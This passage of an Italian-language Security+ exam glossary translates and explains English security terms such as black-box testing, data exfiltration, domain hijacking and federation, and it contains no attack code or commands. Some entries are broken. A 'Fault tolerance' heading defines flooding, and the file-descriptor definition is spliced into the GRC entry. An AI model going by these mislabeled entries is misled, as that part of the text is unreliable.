falsa notizia allarmistica. Hook: \u0026quot;it's a hoax\u0026quot; = \u0026quot;e' tutta una bufala\u0026quot;. Exam trap: hoax e' un tipo specifico di disinformation — non e' solo una bugia, e' costruito per indurre un'azione concreta e dannosa. — falso, fasullo, contraffatto. \u0026quot;Bogus data\u0026quot; = dati finti, inventati appositamente per sembrare reali. In security: i dati dentro un honeypot sono bogus — sembrano credenziali o file proprietari di valore, ma sono completamente inventati. Hook mnemonico: bogus = \u0026quot;non è vero, è una trappola\u0026quot;. Exam trap: bogus ≠ corrotto — i dati bogus sono deliberatamente falsi, non accidentalmente danneggiati.\nBenign (aggettivo) — benigno, innocuo, non pericoloso. Un evento o comportamento che sembra sospetto ma non causa danno reale. In IDS: un falso positivo è un alert su un'attività benign — l'IDS ha rilevato qualcosa che sembrava un attacco ma era traffico legittimo. Hook mnemonico: in medicina \u0026quot;tumore benigno\u0026quot; = non maligno, non si diffonde. In security stesso concetto: benign = non è una minaccia reale. Exam trap: \u0026quot;benign\u0026quot; non significa \u0026quot;buono\u0026quot; in assoluto — significa \u0026quot;non dannoso in questo contesto\u0026quot;.\nHarmless (aggettivo) — innocuo, che non causa danni. Sinonimo di benign nel contesto security. Usato spesso in alternativa: \u0026quot;the activity was determined to be harmless\u0026quot; = il comportamento era innocuo → falso positivo. Hook mnemonico: harm = danno → harmless = senza danno. Exam trap: \u0026quot;harmless\u0026quot; è il risultato di un'investigazione — un'attività che sembrava malevola ma non lo era.\nBlack-box testing (sostantivo) — tecnica di test (vulnerability assessment, penetration test) in cui il tester non ha alcuna conoscenza preliminare del sistema target. Simula la prospettiva di un attaccante esterno che deve scoprire tutto da zero: architettura, servizi, versioni, credenziali. Contrari: white-box (full knowledge) e gray-box (conoscenza parziale, es. solo credenziali utente). Hook: black box = la scatola nera dell'aereo che nessuno conosce dall'esterno — il tester è \u0026quot;fuori\u0026quot; e deve capire cosa c'è dentro. Exam trap: \u0026quot;without prior knowledge of the system\u0026quot; nelle domande → risposta sempre black-box.\nWhite-box testing (sostantivo) — tecnica di test in cui il tester ha conoscenza completa del sistema: codice sorgente, architettura, credenziali, documentazione interna. Permette test più approfonditi e mirati. Contrari: black-box e gray-box. Hook: white box = trasparente, aperto — il tester vede tutto dall'interno. Exam trap: \u0026quot;full knowledge\u0026quot; o \u0026quot;source code available\u0026quot; → white-box.\nGray-box testing (sostantivo, anche grey-box) — tecnica di test ibrida: il tester ha conoscenza parziale del sistema (es. credenziali utente standard ma non di admin, o la struttura generale senza il codice). Simula un attaccante con accesso parziale (insider, utente compromesso). Hook: grigio = metà strada tra il bianco e il nero — parte delle informazioni è visibile, parte no.\nC # Craft / Crafting (verbo/sostantivo) — costruire, forgiare, creare con precisione artigianale. In security: costruire manualmente un pacchetto di rete o un payload specificando ogni campo byte per byte, invece di lasciare che il sistema operativo lo generi automaticamente. \u0026quot;Packet crafting\u0026quot; = costruire pacchetti custom con tool come scapy o hping3. Hook: come un artigiano che taglia il legno a mano invece di usare una macchina — hai controllo totale su ogni dettaglio. Exam trap: \u0026quot;crafted packet\u0026quot; in un testo security = pacchetto costruito appositamente per sfruttare una vulnerabilita', non un pacchetto normale.\nConcern (sostantivo/verbo) — preoccupazione, questione rilevante / riguardare, essere una preoccupazione. \u0026quot;A significant concern\u0026quot; = una preoccupazione rilevante, qualcosa che merita attenzione e azione. In security: quando Gibson dice \u0026quot;data exfiltration is a significant concern\u0026quot; non intende solo \u0026quot;fa paura\u0026quot; — intende che e' un rischio abbastanza serio da giustificare controlli specifici (DLP, monitoring, policy). Hook: \u0026quot;concern\u0026quot; in inglese formale = \u0026quot;cosa che richiede attenzione\u0026quot; — piu' forte di \u0026quot;issue\u0026quot;, meno urgente di \u0026quot;threat\u0026quot;. Exam trap: non tradurre meccanicamente come \u0026quot;preoccupazione\u0026quot; — a volte significa semplicemente \u0026quot;argomento rilevante che tocca quella specifica area\u0026quot;.\nCorrective (aggettivo) — correttivo, che rimedia. Corrective control: controllo che agisce dopo un incidente per riparare il danno o chiudere la vulnerabilità. Timing è tutto: patch applicata dopo uno sfruttamento = corrective. Stessa patch applicata prima dell'attacco = preventive. Exam trap: la differenza tra preventive e corrective è solo il timing — prima o dopo l'incidente. Non confondere con \u0026quot;compensating\u0026quot; (alternativa a un controllo mancante) o \u0026quot;detective\u0026quot; (rileva ma non agisce).\nClearance (sostantivo) — autorizzazione di sicurezza, nulla osta. Il livello di fiducia che un'organizzazione concede a un utente dopo una verifica dei precedenti. Determina fino a quale livello di classificazione puoi accedere nel modello MAC. Non si autoassegna — viene concessa dopo un processo di vetting. Caso reale: un dipendente con clearance SECRET non puo' accedere a documenti TOP SECRET, indipendentemente dal suo ruolo o da chi lo supervisiona. Hook mnemonico: il badge con il livello di accesso — il badge RISERVATO non apre le porte CLASSIFICATO.\nD # Data at rest (locuzione) — dati a riposo, dati fermi. Dati memorizzati su qualsiasi supporto: disco fisso, SSD, USB, SD card, database, backup. Non si stanno muovendo, non vengono elaborati. Controllo primario: encryption (FDE, column encryption). Exam trap: \u0026quot;at rest\u0026quot; non significa \u0026quot;sicuri\u0026quot; — significa solo \u0026quot;non in movimento\u0026quot;. Vanno cifrati esattamente come i dati in transito.\nData in transit (locuzione) — dati in transito, dati che viaggiano. Dati che si spostano su un canale di comunicazione: rete LAN, internet, Wi-Fi, connessione seriale. Controllo primario: TLS, VPN, HTTPS. Exam trap: qualsiasi dato che attraversa un cavo o l'aria e' in transit — inclusi i dati interni tra due server nella stessa LAN.\nData in use (locuzione) — dati in uso, dati in elaborazione. Dati attivamente caricati in RAM o processati dalla CPU. Il caso piu' difficile da proteggere perche' per essere usati devono essere in chiaro in memoria. Controllo avanzato: secure enclaves (Intel SGX), trusted execution environments. Exam tip: Security+ SY0-701 introduce questo concetto ma non approfondisce i meccanismi tecnici — basta sapere che e' il terzo stato e che e' il piu' difficile da proteggere.\nData exfiltration (sostantivo) — esfiltrazione di dati, trasferimento non autorizzato di dati fuori da un'organizzazione. E' il trasferimento, non la sola lettura: l'attaccante (o l'insider malevolo) copia o invia i dati verso l'esterno. Meccanismi comuni: malware che fa upload silenzioso, USB flash drive, email con allegati, FTP, dati cifrati mandati fuori. Contromisura principale: DLP (Data Loss Prevention). Exam trap: exfiltration = i dati escono dall'organizzazione — distinto da semplice accesso non autorizzato (leggi i dati ma non li porti fuori).\nDecommissioning (sostantivo/verbo) — dismissione, ritiro dal servizio. Il processo formale di ritirare hardware o software che non serve piu'. Non basta spegnerlo: va cancellato tutto (dati, credenziali, licenze software) e l'hardware va fisicamente distrutto o smaltito in modo sicuro. Senza un processo formale, hardware dimenticato diventa vettore di attacco o fonte di data leak. Hook mnemonico: de-commission = togliere dalla commissione/servizio attivo. Collegato a change management e data disposal.\nDumpster (sostantivo) — cassonetto dell'immondizia, bidone dei rifiuti. In security: \u0026quot;dumpster diving\u0026quot; = rovistare nel cassonetto alla ricerca di documenti scartati con informazioni utili (directory aziendali, documenti con PII, note con credenziali). Attacco fisico, non digitale. Hook: Dumpster e' un marchio americano di contenitori per rifiuti industriali, diventato termine generico come \u0026quot;scotch\u0026quot; per il nastro adesivo.\nDeflect (verbo) — deviare, dirottare, far cambiare direzione.\nDisrupt (verbo) — disturbare, interrompere, scompigliare. \u0026quot;Disrupt an attacker\u0026quot; = impedire all'attaccante di operare liberamente, rallentarlo o farlo perdere tempo. In security: honeypot e honeynet disrupt gli attaccanti deviandoli dalla rete reale — non li bloccano (quello è block), ma li disorientano e sprecano il loro tempo. Hook mnemonico: disruption = \u0026quot;interruzione del piano\u0026quot; — l'attaccante aveva un obiettivo, la disruption glielo complica. Exam trap: disrupt ≠ prevent — prevenire ferma l'attacco prima che inizi, disruption agisce su un attacco già in corso. \u0026quot;Deflect an attack\u0026quot; = deviare un attacco verso un altro obiettivo (es. honeynet). In security: quando un IDS rileva un attaccante, può deflettere il traffico malevolo verso un honeypot invece di lasciarlo raggiungere la rete reale. Hook mnemonico: deflect = \u0026quot;far rimbalzare\u0026quot; — come uno scudo che devia un colpo. Exam trap: deflect ≠ block — bloccare ferma l'attacco, deflettere lo reindirizza altrove (spesso verso un honeypot per osservarlo).\nDeprovisioning (sostantivo/verbo) — disattivazione, revoca dell'accesso. Il processo di disabilitare l'account di un utente quando lascia l'organizzazione. Tool esempio: sistemi HR integrati con AD che disabilitano automaticamente l'account all'uscita. Caso reale: dipendente licenziato → HR lo marca come inattivo → account disabilitato entro minuti. Hook mnemonico: de- = togliere, provision = fornire → togliere ciò che era stato fornito. Exam trap: si disabilita, non si cancella — cancellare distrugge le chiavi crittografiche e rende inaccessibili i file cifrati.\nDomain hijacking (sostantivo) — dirottamento di dominio. L'attaccante prende il controllo di un nome di dominio compromettendo l'account del registrar (spesso attraverso l'account email collegato), poi modifica i nameserver puntandoli verso server sotto il suo controllo. Da quel momento tutto il traffico verso quel dominio — sito, email, API — viene reindirizzato. Tool esempio: WHOIS per verificare se i nameserver di un dominio sono cambiati. Caso reale: l'attaccante brute-forza l'email di Homer (password debole), usa \u0026quot;password dimenticata\u0026quot; sul registrar, riceve il reset link nella mail già compromessa, cambia i nameserver. Homer non sa nulla. Hook mnemonico: hijack = dirottare un aereo — il dominio è ancora \u0026quot;in volo\u0026quot; (sembra attivo), ma il pilota ora è l'attaccante. Differenza chiave con DNS poisoning: nel poisoning il dominio è ancora tuo ma qualcuno ha avvelenato una cache; nell'hijacking il dominio non è più tuo — i record ufficiali puntano all'attaccante.\nDiligence (sostantivo) — diligenza, cura, attenzione metodica. Due diligence: il processo di indagare attentamente qualcosa prima di prendere una decisione (es. prima di acquistare un'azienda, prima di scegliere un vendor). Sul Security+: \u0026quot;due diligence\u0026quot; = verificare i rischi in anticipo.\nA # Address / to address (verbo) — affrontare, gestire, occuparsi di. \u0026quot;To address a risk\u0026quot; = gestire un rischio. \u0026quot;To address items on the risk register\u0026quot; = occuparsi delle voci nel registro dei rischi. Hook mnemonico: \u0026quot;address\u0026quot; in italiano puo' sembrare \u0026quot;indirizzo\u0026quot; (sostantivo) ma come verbo significa \u0026quot;rivolgersi a qualcosa, affrontarlo\u0026quot;. Exam trap frequente: \u0026quot;the company purchased insurance to address the risk\u0026quot; = non sta trasportando il rischio — sta affrontandolo tramite trasferimento (transfer). Il verbo \u0026quot;address\u0026quot; e' neutro — non dice come viene gestito, solo che viene gestito.\nAccount lockout policy (sostantivo) — politica di blocco account. Regola che blocca automaticamente un account dopo N tentativi di login falliti consecutivi (es. 5 tentativi → blocco per 30 minuti). Difesa primaria contro il brute force. Exam trap: è sia preventive (impedisce brute force continuato) che detective (l'alert di lockout segnala il tentativo). Collegato a T1110 Brute Force in MITRE ATT\u0026amp;CK.\nAppliance (sostantivo) — appliance di rete, dispositivo dedicato. Hardware con software preconfigurato per una singola funzione specifica: firewall appliance, DLP appliance, IDS appliance. Non e' un server generico su cui installi software — e' un box plug-and-play pensato per quella funzione. Vantaggi: configurazione minima, nessun OS da gestire, spesso piu' performante per il suo scopo specifico. Esempio: un network-based DLP e' spesso un appliance fisico (o virtuale) che intercetta tutto il traffico in uscita. Hook mnemonico: come gli elettrodomestici (appliances) a casa — il forno fa il forno, la lavatrice lava, non sono PC generici.\nAudit (sostantivo/verbo) — esame sistematico e indipendente di un sistema, processo o record per determinare se è conforme ai criteri stabiliti. La parola chiave è indipendente: un buon audit lo fa qualcuno che non ha interesse a nascondere problemi. È programmato e periodico — non si fa perché si hanno dubbi, si fa anche quando tutto sembra ok. Caso reale: admin estrae da AD la lista permessi di tutti gli utenti e la confronta con la lista HR → trova privilege creep, account di ex-dipendenti ancora attivi, service account con password vecchie. Hook mnemonico: audit ≠ riprova (quella implica dubbio) — audit = ispezione pianificata indipendente dal dubbio. Contesti in security: account audit (permessi corretti?), security audit (controlli implementati correttamente?), audit log / audit trail (la \u0026quot;A\u0026quot; di IAAA — chi ha fatto cosa). Exam trap: audit non è un attacco né incident response — è una revisione pianificata e autorizzata, almeno annuale, spesso trimestrale.\n\u0026quot;Adhere to\u0026quot; (verbo) — attenersi a, seguire, rispettare.\nAssessment (sostantivo) — valutazione, analisi, stima. In security: processo strutturato per misurare qualcosa (rischio, vulnerabilità, postura). \u0026quot;Risk assessment\u0026quot; = stima del rischio. \u0026quot;Vulnerability assessment\u0026quot; = analisi delle vulnerabilità presenti. Non è un attacco — è un'analisi interna autorizzata. Hook mnemonico: to assess = pesare, soppesare una situazione.\n\u0026quot;Arise\u0026quot; (verbo) — sorgere, emergere, presentarsi. \u0026quot;Security-related situations that arise\u0026quot; = situazioni di sicurezza che si presentano. Spesso usato nei testi formali al posto di \u0026quot;happen\u0026quot; o \u0026quot;occur\u0026quot;. Hook mnemonico: arise = \u0026quot;emerge dalla situazione\u0026quot;, non è un errore — è una cosa che capita. \u0026quot;Should adhere to the procedure\u0026quot; = dovrebbe attenersi alla procedura. Exam trap: non è \u0026quot;allegare\u0026quot; — è rispettare una regola o processo.\nAttack surface (sostantivo) — superficie di attacco. L'insieme di tutti i punti di ingresso che un attaccante può sfruttare per compromettere un sistema: porte aperte, servizi esposti, utenti, dispositivi connessi. Ridurre l'attack surface = chiudere porte inutili, disabilitare servizi non necessari, segmentare la rete.\nE # Enforcement (sostantivo) — il far rispettare, l'applicazione coercitiva di una regola o policy. Da enforce = obbligare qualcuno a rispettare qualcosa. In security: \u0026quot;configuration enforcement\u0026quot; = garantire che la configurazione rimanga quella stabilita, \u0026quot;policy enforcement\u0026quot; = fare in modo che le policy vengano effettivamente seguite. Non e' solo definire la regola — e' il meccanismo che la fa rispettare. Hook: \u0026quot;law enforcement\u0026quot; = forze dell'ordine, letteralmente \u0026quot;chi fa rispettare la legge\u0026quot;. Configuration enforcement e' la polizia delle configurazioni.\nEnrollment process (sostantivo) — processo di registrazione iniziale a un sistema biometrico. La prima volta che usi il sistema devi \u0026quot;insegnare\u0026quot; al dispositivo il tuo pattern — appoggi il dito, guardi il lettore iris, parli al microfono. Solo dopo puoi usarlo per autenticarti. Exam trap: gait analysis e facial recognition NON richiedono enrollment — il sistema ti riconosce senza che tu ti sia mai registrato attivamente. Tutti gli altri metodi biometrici richiedono enrollment.\nExit interview (sostantivo) — colloquio di uscita. Incontro formale con HR che avviene l'ultimo giorno lavorativo di un dipendente — non quando annuncia le dimissioni. Si consegnano badge, laptop e chiavi, si firmano i documenti di fine rapporto. E' il momento in cui il rapporto di lavoro termina effettivamente. In security: e' il momento corretto per disabilitare l'account del dipendente uscente. Exam trap: \u0026quot;exit interview\u0026quot; non e' il momento dell'annuncio delle dimissioni — e' l'ultimo giorno.\nNon-disruptive (aggettivo) — non invasivo, non interrompe il flusso di lavoro. Un metodo di autenticazione non-disruptive e' quello che l'utente puo' completare senza interrompere quello che sta facendo. Es: push notification = tap su \u0026quot;approva\u0026quot; → non-disruptive. Inserire un codice OTP copiandolo da un'app → piu' disruptive. Exam tip: quando una domanda chiede il metodo MFA \u0026quot;piu' user-friendly\u0026quot; o \u0026quot;meno invasivo\u0026quot; → push notification.\nPersonnel (sostantivo) — il personale aziendale, i dipendenti (collettivo). NON confondere con \u0026quot;personal\u0026quot; (italiano: personale, aggettivo). \u0026quot;Identity of personnel\u0026quot; = identita' dei dipendenti. \u0026quot;Personnel account\u0026quot; = account dei dipendenti. Hook: personnel ha la stessa radice di \u0026quot;person\u0026quot; ma e' sempre plurale collettivo — il personale come gruppo.\nExecutable (sostantivo) — file eseguibile, programma. Un file binario che il sistema operativo può eseguire direttamente. Exam trap: \u0026quot;executable running on the machine\u0026quot; non significa \u0026quot;qualcosa in esecuzione genericamente\u0026quot; — significa specificatamente quale programma/binario sta girando. Per info su un executable → log Endpoint, non Application o Network.\nElicitation (sostantivo) — estrazione di informazioni. L'atto di far emergere informazioni senza chiederle direttamente. In social engineering: usare conversazione apparentemente innocua, active listening, domande riflessive o affermazioni false per far rivelare alla vittima informazioni che non rivelerebbe se interrogata direttamente. In italiano: \u0026quot;estrazione\u0026quot;, \u0026quot;sondaggio indiretto\u0026quot;. Hook: to elicit = far emergere, tirare fuori. Come un'esca — non chiedi il pesce, metti la lesca e aspetti. Exam trap: elicitation non e' interrogatorio — e' conversazione. La vittima non si rende conto di stare rivelando qualcosa.\nEndorsement (sostantivo/verbo) — avallo, convalida, approvazione formale. Endorsare qualcosa = attestare ufficialmente che e' valido, autentico, affidabile. In security: l'endorsement key del TPM e' la chiave crittografica bruciata nel chip al momento della produzione — \u0026quot;endorsata\u0026quot; dal produttore come autentica e unica. Il chip porta quella chiave come sigillo di autenticita'. Hook: come il timbro del notaio su un documento — certifica che e' genuino. Exam tip: \u0026quot;endorsement\u0026quot; in contesto TPM = chiave asimmetrica unica che fornisce l'hardware root of trust. La chiave privata non lascia mai il chip.\nEnhancement (sostantivo) — miglioramento, potenziamento, funzionalita' aggiuntiva rispetto a qualcosa di preesistente. Da enhance = migliorare, incrementare. In security: \u0026quot;UEFI provides enhancements over BIOS\u0026quot; = UEFI aggiunge funzionalita' che il BIOS non aveva. Non e' un fix di bug — e' un ampliamento delle capacita'. Hook: enhance ha la stessa radice di \u0026quot;hance\u0026quot; (innalzare) — qualcosa che eleva le capacita' di qualcosa d'altro.\nEspionage (sostantivo) — spionaggio. Raccolta clandestina di informazioni riservate su un governo, organizzazione o individuo senza il loro consenso. Cyber espionage = spionaggio via mezzi informatici, tipicamente condotto da nation-state per ottenere segreti militari, industriali o diplomatici. Hook: la parola viene dal francese antico \u0026quot;espio\u0026quot; (spia). In Security+: quando vedi \u0026quot;espionage\u0026quot; come motivazione, la risposta e' quasi sempre nation-state o competitor ad alto livello. Exam trap: espionage non e' solo rubare dati qualsiasi, e' specificamente raccogliere intelligence strategica per vantaggio competitivo o geopolitico.\nEthical hacker / White hat (sostantivo) — hacker etico / cappello bianco. Professionista della sicurezza che conduce test di penetrazione e ricerca vulnerabilita' con autorizzazione esplicita, con l'obiettivo di migliorare la sicurezza del target, non di sfruttarla. Contrario: black hat (attaccante malintenzionato). Termine intermedio: gray hat (a volte autorizzato, a volte no). Hook: i western americani: il buono porta il cappello bianco, il cattivo quello nero. Exam trap: \u0026quot;ethical\u0026quot; non significa automaticamente \u0026quot;legale\u0026quot; se mancano autorizzazione scritta e scope definito, anche un ethical hacker senza contratto puo' avere problemi legali.\nEradicate (verbo) — eliminare completamente, rimuovere ogni traccia. In IR: fase di eradication = rimozione del malware, delle backdoor, del vettore iniziale dal sistema. Exam trap: non confondere con \u0026quot;contain\u0026quot; (isolare) o \u0026quot;remediate\u0026quot; (correggere in senso generale).\nEphemeral port (sostantivo) — porta effimera. Porta alta (32768-60999 su Linux) assegnata automaticamente dal kernel quando un processo apre una connessione TCP in uscita. Nel conv,tcp di tshark: chi usa la porta effimera ha iniziato la connessione.\nF # Flattery (sostantivo) — lusinga, adulazione. Il fatto di fare complimenti esagerati a qualcuno per ottenere qualcosa. In social engineering: l'attaccante fa sentire la vittima speciale, competente, importante — abbassa le difese. \u0026quot;You're clearly the most knowledgeable person here\u0026quot; → poi chiede il favore. Hook mnemonico: flat = piatto → flattery \u0026quot;appiattisce\u0026quot; le difese della vittima. Exam trap: flattery non e' solo un complimento — e' una tecnica di manipolazione usata consapevolmente per indurre compiacenza.\nConning / Con (verbo/sostantivo) — truffare, raggirare / truffa, raggiro. To con = ingannare qualcuno facendogli credere qualcosa di falso per ottenere qualcosa da lui. Un \u0026quot;con artist\u0026quot; e' un artista della truffa — costruisce una storia credibile (il \u0026quot;con\u0026quot;) e la recita con convinzione. In social engineering: il con artist impersona un tecnico IT, un funzionario, un collega per estrarre credenziali o informazioni. Hook: \u0026quot;con\u0026quot; viene da \u0026quot;confidence\u0026quot; — il truffatore guadagna la tua fiducia (confidence) prima di colpirti. Exam trap: conning non e' solo mentire — e' costruire un'intera narrativa credibile che la vittima accetta come reale.\nForgery / Forged (sostantivo/aggettivo) — falsificazione / falsificato. Forgiare un documento o un'email = crearne uno falso che sembra autentico. In email: \u0026quot;forged sender address\u0026quot; = il campo \u0026quot;Da\u0026quot; mostra un nome legittimo ma l'indirizzo sottostante e' falso. In italiano: falsificazione, contraffazione. Hook: una moneta falsa e' \u0026quot;forged\u0026quot; — sembra quella vera, ma non lo e'. Exam trap: forgery descrive la tecnica di falsificare l'identita' del mittente; la forgery e' il travestimento, non il contenuto malevolo.\nFault tolerance (sostantivo) — inondazione, sommergere. In networking: invio massiccio e continuo di traffico verso un target per saturarlo e renderlo non disponibile. Alla base degli attacchi DoS/DDoS. Varianti comuni: SYN flood (apre migliaia di connessioni TCP a metà senza completarle), ICMP flood (ping storm), UDP flood. Hook mnemonico: flood = alluvione di pacchetti — il server annega sotto le richieste e non riesce più a rispondere a quelle legittime. Exam trap: \u0026quot;flood\u0026quot; descrive il meccanismo (volume), non l'obiettivo — l'obiettivo è sempre colpire la Availability della CIA triad.\nFault tolerance (sostantivo) — tolleranza ai guasti. Capacità di un sistema di continuare a funzionare anche quando un componente si guasta. Si ottiene con ridondanza: RAID, server in cluster, doppi alimentatori, connessioni ridondanti. Collegato a Availability della CIA triad. Exam trap: fault tolerance riguarda i guasti (hardware, componenti) — non gli attacchi.\nFailover (sostantivo/verbo) — passaggio automatico al sistema di backup quando quello principale cade. Direzione: primario → backup. Exam trap: è automatico, non manuale. Collegato a high availability e disaster recovery. Opposto di fallback.\nFallback (sostantivo/verbo) — ritorno al sistema primario dopo che è stato ripristinato. Direzione: backup → primario. Sequenza completa: guasto → failover al backup → ripristino → fallback al primario.\nFarthest (superlativo di far) — il più lontano, alla massima distanza. Exam context: \u0026quot;wireless signals travel the farthest with 2.4 GHz\u0026quot; = i segnali wireless raggiungono la distanza maggiore con 2.4 GHz. Exam trap: \u0026quot;farthest\u0026quot; riguarda la portata (range), non la velocità — 5 GHz ha più bandwidth ma portata minore.\nFederation vs Kerberos (distinzione critica esame) — due meccanismi di autenticazione spesso confusi:\nKerberos Federation Ambito Stesso dominio (es. Active Directory) Domini/organizzazioni diverse Token Ticket (TGT, TGS) SAML assertion, OAuth token, OIDC Protocollo Kerberos (port 88) SAML 2.0 / OAuth 2.0 / OIDC Esempio Login Windows → accesso a file server aziendale Accedi con Google → usi Spotify Componente chiave KDC (Key Distribution Center) IdP (Identity Provider) Exam trap: se il testo dice \u0026quot;token emessi da un trusted identity provider per accedere a piu' applicazioni\u0026quot; → Federation, non Kerberos. Kerberos e' interno al dominio, non usa token OAuth-style. Hook mnemonico: Kerberos = cane a 3 teste che sorveglia un singolo castello (un dominio). Federation = passaporto che ti fa entrare in piu' paesi (piu' domini).\nFile descriptor\nH # Harmless → vedi sezione B.\nHIPAA (acronimo) — Health Insurance Portability and Accountability Act. Legge USA che regola la privacy e la sicurezza delle informazioni sanitarie protette (PHI, Protected Health Information) nel settore healthcare. Non riguarda dati finanziari, carta di credito, o istruzione. Exam trap frequente: confondere HIPAA con le altre normative per settore.\nNormativa Settore Cosa protegge HIPAA Sanita' (US) PHI — Protected Health Information GLBA Finanza (US) Dati finanziari personali dei clienti bancari PCI DSS Pagamenti (globale) Dati carte di credito/debito FERPA Istruzione (US) Dati scolastici degli studenti GDPR Tutti (EU) Qualsiasi dato personale di cittadini EU Hook mnemonico: HIPAA = Health. GLBA = banca (Gramm-Leach-Bliley). PCI = carta di credito. FERPA = scuola (Family Educational Rights).\nHeuristic (aggettivo/sostantivo) — euristico. Dal greco εὑρίσκω (heurisko) = \u0026quot;trovare, scoprire\u0026quot; — stessa radice di \u0026quot;eureka\u0026quot; (Archimede nella vasca da bagno). In informatica: procedura che non segue regole fisse ma usa esperienza e approssimazione per trovare una soluzione \u0026quot;abbastanza buona\u0026quot;, senza garantire la risposta perfetta. In security: un IDS heuristic-based non confronta il traffico con firme note — osserva il comportamento e dice \u0026quot;questo sembra anomalo rispetto alla baseline\u0026quot;. Hook mnemonico: heuristic = \u0026quot;eureka in modalità dubbio\u0026quot; — non è certezza, è un'intuizione informata. Exam trap: heuristic-based e anomaly-based/behavioral-based sono sinonimi in Security+ — Gibson li usa intercambiabilmente.\nG # Greed (sostantivo) — avidita', cupidigia, brama di denaro. In security: Gibson usa \u0026quot;greed\u0026quot; come motivazione primaria di organized crime e competitor. \u0026quot;All their efforts can be traced back to greed\u0026quot; = tutto cio' che fanno e' guidato dalla brama di denaro. Hook: \u0026quot;greed is good\u0026quot; (Gordon Gekko, Wall Street 1987) e' la citazione piu' nota. Exam trap: greed si distingue da \u0026quot;financial gain\u0026quot; per intensita' morale, ma in Security+ sono usati come sinonimi pratici nella motivazione dei threat actors.\nGatekeeper (sostantivo) — \u0026quot;guardiano del cancello\u0026quot;. In Zero Trust: il Policy Enforcement Point (PEP) è il gatekeeper — tutto il traffico deve passarci attraverso prima di raggiungere una risorsa. Non decide da solo se permettere o bloccare (quello lo fa il Policy Engine), ma raccoglie le informazioni e le passa al Policy Decision Point, poi applica la decisione. Hook mnemonico: il buttafuori di un locale — controlla i documenti ma è il proprietario (Policy Engine) a decidere chi entra. Exam trap: il gatekeeper (PEP) non prende decisioni — le esegue.\nGRC — Governance, Risk \u0026amp; Compliance (acronimo) — framework che un'organizzazione usa per gestire tre aree insieme. Governance = chi decide e come (policy, responsabilità, struttura). Risk = identificare e gestire i rischi (risk register, risk analysis). Compliance = rispettare leggi e standard esterni (GDPR, PCI DSS, ISO 27001). Exam trap: GRC non è un tool — è un approccio organizzativo. Corrisponde al Dominio 5 Security+ (20% dell'esame). (sostantivo) — descrittore di file. Numero intero che identifica un canale I/O aperto in un processo. fd0 = stdin, fd1 = stdout, fd2 = stderr. Il redirect 0\u0026gt;\u0026amp;1 sposta fd0 verso dove punta fd1.\nH # Cold site (sostantivo) — sito di disaster recovery con solo lo spazio fisico disponibile. Nessun hardware acceso, nessun dato. Il più economico ma il più lento da attivare (giorni). RTO massimo. Usato quando il costo supera il rischio di downtime prolungato.\nHot site (sostantivo) — sito di disaster recovery completamente operativo e sincronizzato in tempo reale con il sito principale. Failover in minuti. Costo più alto tra le opzioni DR. Exam trap: confrontato sempre con warm site (ore) e cold site (giorni) — la differenza chiave è il RTO (Recovery Time Objective).\nI # Items listed (locuzione) — le voci elencate, gli elementi in lista. \u0026quot;Items listed on the risk register\u0026quot; = le voci presenti nel registro dei rischi. Hook: \u0026quot;items\u0026quot; = elementi/voci di una lista. \u0026quot;Listed\u0026quot; = elencati, registrati. Nessuna connotazione tecnica — e' puro inglese generale, ma ricorre spesso nelle domande d'esame per descrivere il contenuto di documenti formali (risk register, asset inventory, change log). Exam trap: non cercare significati tecnici dove non ce ne sono — \u0026quot;items listed\u0026quot; e' semplicemente \u0026quot;quello che c'e' scritto nel documento\u0026quot;.\nInitialization Vector / IV (sostantivo) — vettore di inizializzazione. Numero casuale usato nei sistemi di cifratura per garantire che lo stesso plaintext cifrato con la stessa chiave produca output diverso ogni volta. WEP usava un IV da 24 bit (troppo piccolo) → riuso delle chiavi → craccabile. Exam trap: \u0026quot;IV attack\u0026quot; → stai parlando sempre di WEP, mai di WPA2/WPA3.\n\u0026quot;is determined to be normal\u0026quot; (pattern esame) — falso positivo. L'attività sembrava malevola ma si è rivelata legittima. Exam trap: non sta dicendo che il server è normale — sta dicendo che l'alert era sbagliato. Pattern completi:\nFrase esame Significato \u0026quot;activity is determined to be normal\u0026quot; falso positivo \u0026quot;activity is confirmed malicious\u0026quot; vero positivo \u0026quot;no malicious activity was found\u0026quot; vero negativo \u0026quot;malicious activity went undetected\u0026quot; falso negativo Integrity measurements (sostantivo) — misurazioni di integrita'. Processo di confronto dello stato attuale di un sistema con una baseline nota (es. master image) per rilevare deviazioni non autorizzate. Strumento: hash dei file critici, configurazioni, lista processi attivi. Se qualcosa e' cambiato rispetto al punto di riferimento, l'integrity check lo segnala. Exam trap: non confondere con block list. Block list blocca app note come cattive. Integrity measurements rilevano qualcosa che non dovrebbe esserci confrontando con la baseline. Trigger words: \u0026quot;master image\u0026quot;, \u0026quot;comparing\u0026quot;, \u0026quot;deviated from baseline\u0026quot;. Exam trap: se la domanda dice che gli admin hanno confrontato il sistema con la master image e trovato un'app estranea — la risposta e' \u0026quot;integrity measurements\u0026quot;, non \u0026quot;block list\u0026quot;.\nIndicator of Compromise (IoC) (sostantivo) — indicatore di compromissione. Evidenza tecnica che suggerisce che un sistema è stato violato: IP malevolo, hash di file, dominio C2, stringa nel log. Exam trap: \u0026quot;indice\u0026quot; è sbagliato — la parola è \u0026quot;indicatore\u0026quot;.\nInline (aggettivo) — nel mezzo del flusso. Un IPS inline sta nel percorso fisico del traffico: ogni pacchetto passa attraverso il dispositivo, che può dropparlo prima che arrivi a destinazione. Analogia: casello autostradale — il camion deve passarci. Contrario: out-of-band (IDS passivo). Parola chiave per distinguere IDS da IPS all'esame.\nOverflow (sostantivo/verbo) — traboccare, andare oltre. Come un bicchiere troppo pieno — l'acqua va oltre il bordo e si riversa fuori. In computing: dati che superano il limite di una struttura e invadono lo spazio adiacente. Usato in buffer overflow (dati oltre il buffer), integer overflow (numero oltre il massimo rappresentabile), stack overflow (stack esaurito da troppe chiamate ricorsive). Hook: bicchiere d'acqua che trabocca — hai messo più di quanto contenga, il resto va dove non dovrebbe.\nOut-of-band (aggettivo) — fuori dal flusso principale. L'IDS riceve una copia del traffico via port mirror, ma il traffico originale prosegue comunque verso la destinazione — l'IDS non può bloccarlo, può solo osservarlo e reagire dopo. Sinonimo di passivo in contesto IDS. Contrario di in-line. Hook mnemonico: l'IDS è come una telecamera di sorveglianza — vede tutto, ma il ladro è già entrato prima che arrivi il vigilante.\nL # Lattice (sostantivo) — reticolo. Struttura matematica/geometrica composta da nodi collegati con relazioni ordinate (chi e' sopra, chi e' sotto). In italiano: reticolo. Stessa parola usata in fisica per il reticolo cristallino — la struttura a griglia degli atomi in un materiale solido. In security MAC: il reticolo definisce la gerarchia di 